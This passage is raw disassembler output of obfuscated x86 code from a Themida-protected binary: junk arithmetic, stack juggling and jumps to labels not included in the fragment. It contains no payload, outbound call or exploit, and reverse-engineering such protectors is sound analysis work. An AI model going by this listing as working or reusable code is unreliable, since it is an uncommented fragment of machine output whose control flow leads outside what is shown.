--------------------------------------------------------------------------- loc_5A4143: ; CODE XREF: Themida_:005917FDj mov [esp], ecx push 6FEDh mov [esp], esp jmp loc_5A028E ; --------------------------------------------------------------------------- loc_5A4153: ; CODE XREF: Themida_:00592A94j add eax, 5D8D2EC8h sub eax, esi sub eax, 5D8D2EC8h add eax, 1E220A3Dh mov esi, [esp] push ebp push esp pop ebp push edi mov edi, 0C602F52h shr edi, 7 not edi jmp loc_5A036A ; --------------------------------------------------------------------------- loc_5A417A: ; CODE XREF: Themida_:005908CFj pop eax add edi, ebp sub edi, 1C2E5E81h push dword ptr [esp] pop ebp jmp loc_5909FD ; --------------------------------------------------------------------------- loc_5A418C: ; CODE XREF: Themida_:00597349j sub ecx, 7020B8Ch add ecx, edi add ecx, 7020B8Ch push dword ptr [ecx] jmp loc_592944 ; --------------------------------------------------------------------------- loc_5A41A1: ; CODE XREF: Themida_:00596783j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A3947 ; --------------------------------------------------------------------------- loc_5A41B4: ; CODE XREF: Themida_:005A1CBCj pop esi jmp loc_5A05C3 ; --------------------------------------------------------------------------- loc_5A41BA: ; CODE XREF: Themida_:00593F4Ej mov ebp, [esp] push edx mov edx, esp jmp loc_5A0412 ; --------------------------------------------------------------------------- loc_5A41C5: ; CODE XREF: Themida_:00595231j shr esi, 5 jmp loc_593D3A ; --------------------------------------------------------------------------- loc_5A41CD: ; CODE XREF: Themida_:005996EBj push dword ptr [esp] pop edx push 37D6h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], esi mov esi, 6A336FECh inc esi inc esi shr esi, 2 push ecx jmp loc_593747 ; --------------------------------------------------------------------------- loc_5A41F1: ; CODE XREF: Themida_:00590761j mov [esp], ebp mov ebp, 155E4288h jmp loc_5A1BAC ; --------------------------------------------------------------------------- loc_5A41FE: ; CODE XREF: Themida_:0059CF21j add ch, 91h push ax mov ah, 9Ah add ch, 90h jmp loc_5A1DA9 ; --------------------------------------------------------------------------- loc_5A420D: ; CODE XREF: Themida_:0059ECE1j pop ebx jmp loc_59AE95 ; --------------------------------------------------------------------------- loc_5A4213: ; CODE XREF: Themida_:0059CB11j pop edx add edx, 4 add edx, 4 jmp loc_59F51E ; --------------------------------------------------------------------------- loc_5A4222: ; CODE XREF: Themida_:0059C95Bj push 56A9h mov [esp], ebx mov ebx, 4 push ecx jmp loc_595835 ; --------------------------------------------------------------------------- loc_5A4235: ; CODE XREF: Themida_:00598E65j and ecx, edi mov edi, [esp] add esp, 4 sub ecx, 0E1682632h mov eax, ecx pop ecx jmp loc_5952CB ; --------------------------------------------------------------------------- loc_5A424E: ; CODE XREF: Themida_:00599356j sub ebx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_599383 ; --------------------------------------------------------------------------- loc_5A4268: ; CODE XREF: Themida_:0059517Bj pop dx sub cl, ah sub cl, 0B0h pop ax and cl, 0BEh push edx mov dl, 0BFh shr dl, 7 sub esp, 4 mov [esp], ecx jmp loc_59CF1B ; --------------------------------------------------------------------------- loc_5A4285: ; CODE XREF: Themida_:00598CC2j mov dh, 0D4h push bx mov bh, 26h sub dh, bh pop bx inc dh sub dh, 0A5h sub ch, dh mov dx, [esp] jmp loc_5A47D3 ; --------------------------------------------------------------------------- loc_5A429F: ; CODE XREF: Themida_:005A0E56j mov edi, [esp] jmp loc_5946E7 ; --------------------------------------------------------------------------- loc_5A42A7: ; CODE XREF: Themida_:00591349j mov esi, 7F526137h or esi, 2C283521h not esi jmp loc_593845 ; --------------------------------------------------------------------------- loc_5A42B9: ; CODE XREF: Themida_:005933C7j mov [esp], esp add dword ptr [esp], 4 jmp loc_5A43A8 ; --------------------------------------------------------------------------- loc_5A42C8: ; CODE XREF: Themida_:00596D08j push esi mov esi, 4CC568C9h xor esi, 6ECE3F84h sub esi, 0FFF22562h add ebx, esi pop esi add ebx, ebp sub ebx, 221931EBh jmp loc_5A2EEE ; --------------------------------------------------------------------------- loc_5A42EA: ; CODE XREF: Themida_:005A5426j push ebx push 14E5h jmp loc_596B55 ; --------------------------------------------------------------------------- loc_5A42F5: ; CODE XREF: Themida_:005910B8j pop esp add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov cx, [esp] push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax sub edi, 4 jmp loc_59A4E3 ; --------------------------------------------------------------------------- loc_5A431D: ; CODE XREF: Themida_:005A3475j pop esp pop dword ptr [esp] pop esp push 4942h mov [esp], ecx push 6119h mov [esp], eax push 199Dh jmp loc_59D7BE ; --------------------------------------------------------------------------- loc_5A433C: ; CODE XREF: Themida_:005973E0j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ch, 7 neg ch jmp loc_59EB18 ; --------------------------------------------------------------------------- loc_5A434F: ; CODE XREF: Themida_:005A4D31j mov ebp, 231439EBh shl ebp, 8 add ebp, 5F540316h and ebp, 4284347Eh push esi mov esi, 42842414h sub ebp, esi pop esi add esi, ebp mov ebp, [esp] push ebx mov ebx, esp push ebp mov ebp, 67101CD7h add ebp, 98EFE32Dh add ebx, ebp pop ebp jmp loc_59B241 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ecx push ebx mov ebx, 29580308h mov ecx, 4D322809h sub ecx, ebx pop ebx push ebx mov ebx, 5A5A7B9Bh jmp loc_5A185C ; --------------------------------------------------------------------------- loc_5A43A8: ; CODE XREF: Themida_:005A42C3j pop edi add edi, 4 sub esp, 4 mov [esp], ebx mov ebx, 57DF3257h push esi mov esi, 57DF3253h sub ebx, esi pop esi add edi, ebx mov ebx, [esp] add esp, 4 jmp loc_592CA4 ; --------------------------------------------------------------------------- loc_5A43D3: ; CODE XREF: Themida_:005927D4j mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push ebp mov ebp, 1E025917h dec ebp jmp loc_5941C7 ; --------------------------------------------------------------------------- loc_5A43EE: ; CODE XREF: Themida_:00591B78j sub ebp, 661F4A59h sub ebp, edi jmp loc_59CB91 ; --------------------------------------------------------------------------- loc_5A43FB: ; CODE XREF: Themida_:00594DCDj mov edx, [esp] jmp loc_5A10C0 ; --------------------------------------------------------------------------- loc_5A4403: ; CODE XREF: Themida_:0059C8DFj mov [esp], eax jmp loc_591B1E ; --------------------------------------------------------------------------- loc_5A440B: ; CODE XREF: Themida_:0059AC85j sub edi, 4 xchg edi, [esp] jmp loc_59859E ; --------------------------------------------------------------------------- loc_5A4419: ; CODE XREF: Themida_:0059F021j mov edi, [esp] add esp, 4 push 3045h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_598338 ; --------------------------------------------------------------------------- loc_5A4437: ; CODE XREF: Themida_:00599881j push ebx mov ebx, 700317B8h push edi push ecx mov ecx, 0F865120h inc ecx xor ecx, 135C0127h jmp loc_591526 ; --------------------------------------------------------------------------- loc_5A4450: ; CODE XREF: Themida_:005A413Ej sub ebp, ecx pop ecx add edx, ebp pop ebp push 2817h mov [esp], ebx jmp loc_590FCE ; --------------------------------------------------------------------------- loc_5A4463: ; CODE XREF: Themida_:005A2BDFj add ebx, ebp pop ebp push 7B27h mov [esp], ebp push ecx jmp loc_5A51F5 ; --------------------------------------------------------------------------- loc_5A4474: ; CODE XREF: Themida_:00591970j pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5907DC ; --------------------------------------------------------------------------- loc_5A4480: ; CODE XREF: Themida_:0059BB29j push esi push edi mov edi, 5C881A05h mov esi, edi pop edi sub ebx, esi jmp loc_596B03 ; --------------------------------------------------------------------------- loc_5A4491: ; CODE XREF: Themida_:0059C749j add ebx, 34DC3C59h sub ebx, 7FFE67CAh add ebx, 1AF8356Eh and ebx, 7EC9485Dh shr ebx, 8 push edx mov edx, 513E149Bh jmp loc_590C46 ; --------------------------------------------------------------------------- loc_5A44B7: ; CODE XREF: Themida_:00594EC8j sub [esp+4], ecx push edi mov edi, 2914706Bh add [esp+8], edi pop edi sub dword ptr [esp+4], 4FE157EDh jmp loc_59DDE8 ; --------------------------------------------------------------------------- loc_5A44D3: ; CODE XREF: Themida_:0059A32Cj mov [esp], edx push 8A90CF6h pop edx not edx push edx neg dword ptr [esp] pop edx jmp loc_594DB2 ; --------------------------------------------------------------------------- loc_5A44E8: ; CODE XREF: Themida_:0059500Bj mov ebx, [esp] jmp loc_594ECD ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_5979F1 ; --------------------------------------------------------------------------- loc_5A44F7: ; CODE XREF: Themida_:0059F8B3j or edi, 2950594Fh sub edi, 8442DBA9h and ebx, edi push dword ptr [esp] pop edi add esp, 4 add ebx, 15022A33h sub edx, ebx mov ebx, [esp] add esp, 4 add edx, ebx push ebx push eax mov eax, 1E962AD9h jmp loc_5A1212 ; --------------------------------------------------------------------------- loc_5A452E: ; CODE XREF: Themida_:005A5310j dec ecx not ecx shl ecx, 3 sub ecx, 78573116h jmp loc_59C846 ; --------------------------------------------------------------------------- loc_5A453F: ; CODE XREF: Themida_:005A5654j mov ebx, eax pop eax add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] add eax, 731C4B1Dh push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5A3B5B ; --------------------------------------------------------------------------- loc_5A4567: ; CODE XREF: Themida_:00592784j push eax mov eax, 99F2EFFh xor eax, 0E220EBDh push ecx mov ecx, 37E71D02h add ecx, 479A1E23h add ebx, ecx jmp loc_5932C7 ; --------------------------------------------------------------------------- loc_5A4585: ; CODE XREF: Themida_:00594F16j push ecx jmp loc_5A3454 ; --------------------------------------------------------------------------- db 0ACh dd 0FFBE26E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4591: ; CODE XREF: Themida_:005A2EBFj push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 sub esp, 4 mov [esp], ebp jmp loc_593A8F ; --------------------------------------------------------------------------- loc_5A45AD: ; CODE XREF: Themida_:0059F521j pop esp shr eax, 18h xor eax, ecx jmp loc_594B6F ; --------------------------------------------------------------------------- loc_5A45B8: ; CODE XREF: Themida_:0059FEE0j mov esi, 4 add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_5A150B ; --------------------------------------------------------------------------- loc_5A45D2: ; CODE XREF: Themida_:0059FDE7j push esi pop eax mov ebp, eax pop eax mov esi, [esp] jmp loc_5A51E4 ; --------------------------------------------------------------------------- loc_5A45DF: ; CODE XREF: Themida_:005A0665j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_590448 ; --------------------------------------------------------------------------- loc_5A45F4: ; CODE XREF: Themida_:00592CEFj push eax mov eax, ebx mov edx, eax jmp loc_5A1101 ; --------------------------------------------------------------------------- mov cx, [esp] push 25CFh mov [esp], eax push esp jmp loc_597322 ; --------------------------------------------------------------------------- loc_5A4610: ; CODE XREF: Themida_:00595728j pop eax jmp loc_59D419 ; --------------------------------------------------------------------------- loc_5A4616: ; CODE XREF: Themida_:005912B2j push 2674362Bh push dword ptr [esp] pop ebx add esp, 4 and ebx, 566C048Ah jmp loc_59FBCF ; --------------------------------------------------------------------------- loc_5A462D: ; CODE XREF: Themida_:005974D5j push esp jmp loc_59D3E3 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx xchg eax, [esp] pop esp mov [esp], edx push eax push 3CDE1B36h pop eax shr eax, 2 jmp loc_59EE69 ; --------------------------------------------------------------------------- loc_5A4662: ; CODE XREF: Themida_:0059C796j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_598A84 ; --------------------------------------------------------------------------- loc_5A4675: ; CODE XREF: Themida_:00599BE3j shr ebp, 1 inc ebp shr ebp, 4 add ebp, 2602BEB7h add ecx, 0A2E2737h jmp loc_596843 ; --------------------------------------------------------------------------- loc_5A468C: ; CODE XREF: Themida_:00590CDEj xor [esp], cx xor cx, [esp] xor [esp], cx mov dx, [esp] add esp, 2 jmp loc_59DBC4 ; --------------------------------------------------------------------------- loc_5A46A4: ; CODE XREF: Themida_:0059B490j mov eax, esi pop esi sub ebx, eax jmp loc_59598A ; --------------------------------------------------------------------------- loc_5A46AE: ; CODE XREF: Themida_:00596F3Fj pop esp add esi, 4 push 5B0Bh mov [esp], edx mov edx, 4 add esi, edx pop edx push ebx jmp loc_5A121C ; --------------------------------------------------------------------------- loc_5A46CB: ; CODE XREF: Themida_:00596F9Cj mov ch, bl mov al, ch pop ecx jmp loc_59EB87 ; --------------------------------------------------------------------------- loc_5A46D5: ; CODE XREF: Themida_:005A1544j xor ecx, eax pop eax and eax, ecx pop ecx or eax, eax jz loc_5A541E push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp push edi mov edi, 87F5EB7h or edi, 3BFA3662h and edi, 6E4D5044h dec edi jmp loc_5A2151 ; --------------------------------------------------------------------------- loc_5A4707: ; CODE XREF: Themida_:005A2C88j mov eax, edx jmp loc_59EF6D ; --------------------------------------------------------------------------- loc_5A470E: ; CODE XREF: Themida_:005A0E06j add edi, 5703C8h sub ebp, edi pop edi jmp loc_5A0A8A ; --------------------------------------------------------------------------- loc_5A471C: ; CODE XREF: Themida_:005A3FF1j push esi jmp loc_5A0C83 ; --------------------------------------------------------------------------- loc_5A4722: ; CODE XREF: Themida_:00598301j push ebx mov ebx, 0D7255E6h shl ebx, 8 shl ebx, 5 xor ebx, 0A908607h xor ecx, ebx pop ebx mov eax, ecx pop ecx sub ebx, 65726378h add ebx, eax push 4FBDh mov [esp], esi mov esi, 60F241CCh shl esi, 1 shl esi, 8 sub esi, 0FFFFFFFFh sub esi, 0E6567Ch jmp loc_59D0B9 ; --------------------------------------------------------------------------- loc_5A4762: ; CODE XREF: Themida_:00594648j xor [esp], ecx xor ecx, [esp] jmp loc_5993B0 ; --------------------------------------------------------------------------- loc_5A476D: ; CODE XREF: Themida_:005914A3j pop edx sub ebp, ecx pop ecx sub esp, 4 mov [esp], ebp pop edx mov ebp, [esp] add esp, 4 sub ebx, edx push dword ptr [esp] jmp loc_59D4E8 ; --------------------------------------------------------------------------- loc_5A4788: ; CODE XREF: Themida_:0059F360j xchg ebx, [esp] jmp loc_59116B ; --------------------------------------------------------------------------- loc_5A4790: ; CODE XREF: Themida_:005A21B8j sub bl, 0Ch jmp loc_59499C ; --------------------------------------------------------------------------- loc_5A4798: ; CODE XREF: Themida_:005925FFj mov eax, ebx pop ebx push ebp mov ebp, 46FD1BA5h sub ebp, 2AD73D78h sub ebp, 0F2D09895h jmp loc_593618 ; --------------------------------------------------------------------------- loc_5A47B2: ; CODE XREF: Themida_:0059A40Cj not edx sub edx, 8896B585h sub ecx, edx mov edx, [esp] add esp, 4 not ecx or ecx, 54266583h not ecx inc ecx push eax jmp loc_5990A9 ; --------------------------------------------------------------------------- loc_5A47D3: ; CODE XREF: Themida_:005A429Aj add esp, 2 push eax mov al, 11h sub bl, al pop eax add bl, ch jmp loc_59F41D ; --------------------------------------------------------------------------- loc_5A47E6: ; CODE XREF: Themida_:005A0484j sub eax, 2CCCB501h mov esi, eax pop eax jmp loc_597E4D ; --------------------------------------------------------------------------- loc_5A47F3: ; CODE XREF: Themida_:0059FB41j add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ecx mov ecx, 5FA86425h push ecx dec dword ptr [esp] pop ecx jmp loc_596765 ; --------------------------------------------------------------------------- loc_5A480F: ; CODE XREF: Themida_:0059846Cj add ebx, edx mov edx, [esp] add esp, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5A5192 ; --------------------------------------------------------------------------- loc_5A482B: ; CODE XREF: Themida_:005A34F1j dec ebp shl ebp, 5 jmp loc_598073 ; --------------------------------------------------------------------------- loc_5A4834: ; CODE XREF: Themida_:0059BF4Fj push edi mov edi, 599724F6h xor [esp+4], edi pop edi mov edx, [esp] push esi jmp loc_59FC04 ; --------------------------------------------------------------------------- loc_5A4848: ; CODE XREF: Themida_:005960B6j xor al, bl push 5C08h jmp loc_599566 ; --------------------------------------------------------------------------- loc_5A4854: ; CODE XREF: Themida_:00598A14j push 888h mov [esp], eax push edx jmp loc_594F1B ; --------------------------------------------------------------------------- loc_5A4862: ; CODE XREF: Themida_:00593159j add edx, ecx pop ecx xor edx, 0C8BC2A0Eh and ebx, edx mov edx, [esp] add esp, 4 sub ebx, 27B0389Fh jmp loc_59079B ; --------------------------------------------------------------------------- loc_5A487E: ; CODE XREF: Themida_:005941C2j pop esp jmp loc_59EC65 ; --------------------------------------------------------------------------- loc_5A4884: ; CODE XREF: Themida_:00596B69j sub edi, 281803FCh push edi add dword ptr [esp], 648550B7h pop ebx jmp loc_5A2771 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx jmp loc_594B2F ; --------------------------------------------------------------------------- loc_5A48A1: ; CODE XREF: Themida_:00591F18j pop eax dec dh xor dh, 35h add cl, dh pop edx sub esp, 4 mov [esp], eax mov al, cl push eax mov ah, bl mov cl, ah pop eax mov bl, al pop eax xchg al, bl not al xchg al, bl push 4E83h mov [esp], edx mov dl, 0D9h xor bl, dl jmp loc_5994D0 ; --------------------------------------------------------------------------- loc_5A48D2: ; CODE XREF: Themida_:005981E4j mov edi, eax mov esi, edi pop edi pop eax sub [esp+4], esi jmp loc_59653D ; --------------------------------------------------------------------------- loc_5A48E1: ; CODE XREF: Themida_:0059132Bj shr ebp, 6 or ebp, 66E310D4h add ebp, 57FD7E0Bh sub ebp, 439C00F7h sub edx, ebp pop ebp jmp loc_59EDD3 ; --------------------------------------------------------------------------- loc_5A48FE: ; CODE XREF: Themida_:0059E478j push dword ptr [esp+4] pop eax jmp loc_59AED8 ; --------------------------------------------------------------------------- loc_5A4908: ; CODE XREF: Themida_:0059E8C9j push 0D4Fh mov [esp], ebx mov ebx, 777A1EC7h jmp loc_590618 ; --------------------------------------------------------------------------- loc_5A491A: ; CODE XREF: Themida_:005944EAj mov edx, 635B6DCCh inc edx add edx, 0E0FDBC94h shr edx, 5 jmp loc_59A1E8 ; --------------------------------------------------------------------------- loc_5A492E: ; CODE XREF: Themida_:005985CFj push edx jmp loc_5A0FE7 ; --------------------------------------------------------------------------- loc_5A4934: ; CODE XREF: Themida_:005935F8j add dword ptr [esp+4], 2A460F2Bh add dword ptr [esp+4], 503A6D81h sub [esp+4], esi sub dword ptr [esp+4], 503A6D81h jmp loc_598F68 ; --------------------------------------------------------------------------- loc_5A4955: ; CODE XREF: Themida_:00599D4Bj mov ebp, [esp] add esp, 4 push ecx mov ecx, 69310FF6h mov ebp, ecx jmp loc_5A1732 ; --------------------------------------------------------------------------- loc_5A4968: ; CODE XREF: Themida_:00599433j push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 jmp loc_5A0BD3 ; --------------------------------------------------------------------------- loc_5A4980: ; CODE XREF: Themida_:0059DF29j sub esp, 4 mov [esp], ecx mov ecx, esp push esi mov esi, 52663A71h shl esi, 6 not esi not esi dec esi xor esi, 998E9C3Bh add ecx, esi pop esi add ecx, 4 jmp loc_59A39D ; --------------------------------------------------------------------------- loc_5A49A7: ; CODE XREF: Themida_:005A1167j mov edx, 6A7A7852h shl edx, 1 xor edx, 0D4F4F0A6h jmp loc_59D3EF ; --------------------------------------------------------------------------- loc_5A49B9: ; CODE XREF: Themida_:005A37E7j mov [esp], esi mov esi, esp jmp loc_59D1D4 ; --------------------------------------------------------------------------- loc_5A49C3: ; CODE XREF: Themida_:00593807j pop eax add esp, 4 mov esi, [esp] add esp, 4 jmp loc_5A29FD ; --------------------------------------------------------------------------- loc_5A49D5: ; CODE XREF: Themida_:005A254Bj add esp, 4 jmp loc_598A98 ; --------------------------------------------------------------------------- loc_5A49DD: ; CODE XREF: Themida_:00598060j xchg ebx, [esp] pop esp jmp loc_59F772 ; --------------------------------------------------------------------------- loc_5A49E6: ; CODE XREF: Themida_:005A03CDj add ebx, eax sub esp, 4 jmp loc_59A11F ; --------------------------------------------------------------------------- loc_5A49F3: ; CODE XREF: Themida_:00598599j mov ah, 1Bh push edx mov dh, ah mov bh, dh pop edx jmp loc_5942BE ; --------------------------------------------------------------------------- loc_5A4A00: ; CODE XREF: Themida_:005A1941j push 61F4h push esp jmp loc_5972DB ; --------------------------------------------------------------------------- loc_5A4A0B: ; CODE XREF: Themida_:00598494j pop ebx push ebx mov ebx, 68D703A8h push edi jmp loc_59C613 ; --------------------------------------------------------------------------- loc_5A4A18: ; CODE XREF: Themida_:00593B81j sub ebx, 59AA48F1h mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_5928F9 ; --------------------------------------------------------------------------- loc_5A4A32: ; CODE XREF: Themida_:0059223Bj mov [esp], edi jmp loc_59538F ; --------------------------------------------------------------------------- loc_5A4A3A: ; CODE XREF: Themida_:00595652j and eax, edi pop edi shr eax, 10h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_59A21B ; --------------------------------------------------------------------------- loc_5A4A4D: ; CODE XREF: Themida_:005A12AEj sub edx, 77CE417Fh sub edx, 47FE4A23h add edx, ebx add edx, 47FE4A23h add edx, 77CE417Fh push ebx mov ebx, 3AFC5A07h add edx, 3ABF6749h sub edx, ebx sub edx, 3ABF6749h pop ebx pop ebx sub edx, eax sub edx, 3F652318h sub edx, 68BB0F9Ah jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A4A90: ; CODE XREF: Themida_:005A4B68j add bl, 0BAh neg bl jmp loc_59B4E7 ; --------------------------------------------------------------------------- loc_5A4A9A: ; CODE XREF: Themida_:00595A17j xchg eax, [esp] pop esp add ebp, esi pop esi and ebp, 26ED1CB7h push edi mov edi, 6BBA4C8Bh add ebp, edi pop edi shr ebp, 7 xor ebp, 6023A587h add eax, ebp pop ebp push ebp jmp loc_5920A0 ; --------------------------------------------------------------------------- loc_5A4AC2: ; CODE XREF: Themida_:005A545Cj push dx jmp loc_59FFA8 ; --------------------------------------------------------------------------- loc_5A4AC9: ; CODE XREF: Themida_:005A1243j mov [esp], edx push eax pushf jmp loc_599886 ; --------------------------------------------------------------------------- loc_5A4AD3: ; CODE XREF: Themida_:005A068Bj mov eax, [esp] add esp, 4 push edi mov edi, 14EA5D52h xor edi, 52965133h xor edi, 64015D79h or edi, 7E4959ABh and edi, 478A2534h and edi, 0D7F1E1Ah sub edi, 0E07FF77Fh jmp loc_594677 ; --------------------------------------------------------------------------- loc_5A4B08: ; CODE XREF: Themida_:0059C4A5j pop ecx mov ebp, ebx jmp loc_59A7BA ; --------------------------------------------------------------------------- loc_5A4B10: ; CODE XREF: Themida_:005A1329j mov ebp, 0FFFFh jmp loc_590772 ; --------------------------------------------------------------------------- loc_5A4B1A: ; CODE XREF: Themida_:00597FE5j mov ah, 43h and ah, 0CAh not ah push edx push ecx mov ch, 5Ch not ch jmp loc_59C48D ; --------------------------------------------------------------------------- loc_5A4B2C: ; CODE XREF: Themida_:005902F7j shr ecx, 4 push edi mov edi, 61AF0782h sub edi, 0A1E919EBh add ecx, edi jmp loc_59964E ; --------------------------------------------------------------------------- loc_5A4B42: ; CODE XREF: Themida_:005A1DBBj neg ebx xor ebx, 5C0F1F07h jmp loc_59EF04 ; --------------------------------------------------------------------------- loc_5A4B4F: ; CODE XREF: Themida_:005908A4j push ebp mov ebp, 3A891BBCh dec ebp neg ebp sub ebp, 55B281B8h sub ecx, ebp jmp loc_594D97 ; --------------------------------------------------------------------------- loc_5A4B65: ; CODE XREF: Themida_:00592D1Aj push ebx mov bl, 0A5h jmp loc_5A4A90 ; --------------------------------------------------------------------------- loc_5A4B6D: ; CODE XREF: Themida_:0059210Fj pop ecx push eax push ebx jmp loc_5A1F63 ; --------------------------------------------------------------------------- loc_5A4B75: ; CODE XREF: Themida_:0059A5CCj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esi, 4 push esi jmp loc_597120 ; --------------------------------------------------------------------------- loc_5A4B8D: ; CODE XREF: Themida_:0059253Dj xor ax, bx pop bx push cx jmp loc_59AD65 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push 66F5h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push ecx mov ecx, 785B3643h jmp loc_5984E7 ; --------------------------------------------------------------------------- loc_5A4BC3: ; CODE XREF: Themida_:0059A62Cj pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi jmp loc_59C55E ; --------------------------------------------------------------------------- loc_5A4BD7: ; CODE XREF: Themida_:005A2FFBj pop esi add esp, 4 or esi, 1C3B7CA4h jmp loc_59DD30 ; --------------------------------------------------------------------------- loc_5A4BE9: ; CODE XREF: Themida_:0059F4B3j add esp, 4 sub ecx, 410141B0h xor ecx, 0F31B095Dh xor eax, ecx pop ecx push eax jmp loc_59B753 ; --------------------------------------------------------------------------- loc_5A4C01: ; CODE XREF: Themida_:00594959j shl edi, 5 shr edi, 4 add edi, 78F53EB2h add edi, 7E187DD7h jmp loc_590BD2 ; --------------------------------------------------------------------------- loc_5A4C18: ; CODE XREF: Themida_:00597449j mov ebx, 465708ECh jmp loc_598DAB ; --------------------------------------------------------------------------- loc_5A4C22: ; CODE XREF: Themida_:005A1A32j sub al, bl add al, 93h push ecx mov ch, 0C3h jmp loc_59AC62 ; --------------------------------------------------------------------------- loc_5A4C2E: ; CODE XREF: Themida_:005961F9j add edx, 301B7290h sub edx, 3D728B60h add edi, edx pop edx push ebx jmp loc_5916E5 ; --------------------------------------------------------------------------- loc_5A4C43: ; CODE XREF: Themida_:0059CD18j push ecx jmp loc_5970A4 ; --------------------------------------------------------------------------- loc_5A4C49: ; CODE XREF: Themida_:005983CFj push ebp push dword ptr [esp+4] pop ebp jmp loc_5A5415 ; --------------------------------------------------------------------------- loc_5A4C54: ; CODE XREF: Themida_:005A1AC0j shl ebp, 1 inc ebp inc ebp sub ebp, 6EC04F99h and ebx, ebp pop ebp jmp loc_597441 ; --------------------------------------------------------------------------- loc_5A4C66: ; CODE XREF: Themida_:00593944j push dword ptr [esp] jmp loc_59A215 ; --------------------------------------------------------------------------- loc_5A4C6E: ; CODE XREF: Themida_:0059F7F8j mov edi, esp add edi, 4 push ebp mov ebp, 231C552Bh jmp loc_59FD18 ; --------------------------------------------------------------------------- loc_5A4C81: ; CODE XREF: Themida_:005A2AFCj pop ebx mov eax, [esp] push esi mov esi, esp add esi, 4 push edx jmp loc_59D899 ; --------------------------------------------------------------------------- loc_5A4C94: ; CODE XREF: Themida_:005904BEj add esp, 4 push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 5C96h mov [esp], edi push 23Dh push esp pop dword ptr [esp] push eax jmp loc_598BBB ; --------------------------------------------------------------------------- loc_5A4CC8: ; CODE XREF: Themida_:00591484j push eax jmp loc_59F908 ; --------------------------------------------------------------------------- loc_5A4CCE: ; CODE XREF: Themida_:00596AFEj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A4CD3: ; CODE XREF: Themida_:005A54BDj pop eax add esp, 4 jmp loc_59F2F3 ; --------------------------------------------------------------------------- loc_5A4CDF: ; CODE XREF: Themida_:0059D5B3j push dword ptr [esp+4] jmp loc_599F79 ; --------------------------------------------------------------------------- loc_5A4CE8: ; CODE XREF: Themida_:0059EB82j add eax, 4FF1704h sub eax, 34EA2576h sub eax, 0FFFFFFFFh and eax, 552A407Ah add eax, 257D2184h and edi, eax pop eax shr edi, 5 inc edi and edi, 1C2007A2h sub edi, 92AE00AFh xor edx, edi pop edi jmp loc_591813 ; --------------------------------------------------------------------------- loc_5A4D1A: ; CODE XREF: Themida_:005A5576j mov eax, [esp] add esp, 4 pop ecx push edx jmp loc_5995E6 ; --------------------------------------------------------------------------- loc_5A4D27: ; CODE XREF: Themida_:00592590j add ebx, 0F241CD95h add esi, ebx pop ebx push ebp jmp loc_5A434F ; --------------------------------------------------------------------------- loc_5A4D36: ; CODE XREF: Themida_:00594A4Ej pop edi or ebx, 7B539D3h push esi mov esi, 0FFFFFFFFh add ebx, esi pop esi dec ebx xor ebx, 6B5778BAh push ebp mov ebp, 0CF96DADh and ebp, 18521EACh add ebp, 6B0F6DF1h add ebx, ebp mov ebp, [esp] add esp, 4 add edi, ebx push dword ptr [esp] pop ebx jmp loc_5A1CCB ; --------------------------------------------------------------------------- loc_5A4D75: ; CODE XREF: Themida_:0059A6EBj and ebp, ecx jmp loc_591821 ; --------------------------------------------------------------------------- loc_5A4D7C: ; CODE XREF: Themida_:00597DF1j mov eax, esp add eax, 4 jmp loc_5A179F ; --------------------------------------------------------------------------- loc_5A4D88: ; CODE XREF: Themida_:00593C33j mov ebp, [esp] add esp, 4 add eax, esi add eax, 427513D2h jmp loc_5908F9 ; --------------------------------------------------------------------------- loc_5A4D9A: ; CODE XREF: Themida_:0059D9F3j push dx mov dh, 57h sub al, dh jmp loc_59457C ; --------------------------------------------------------------------------- loc_5A4DA5: ; CODE XREF: Themida_:005970D0j push dword ptr [esp] jmp loc_59BE4D ; --------------------------------------------------------------------------- loc_5A4DAD: ; CODE XREF: Themida_:005910DFj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push ebx push ebp push ebx push 3545394Bh jmp loc_5A066A ; --------------------------------------------------------------------------- loc_5A4DCC: ; CODE XREF: Themida_:00595F2Dj mov ebx, offset byte_5F3EDF jmp loc_5960F1 ; --------------------------------------------------------------------------- loc_5A4DD6: ; CODE XREF: Themida_:0059261Bj mov edx, 15E306A0h jmp loc_59F1AE ; --------------------------------------------------------------------------- 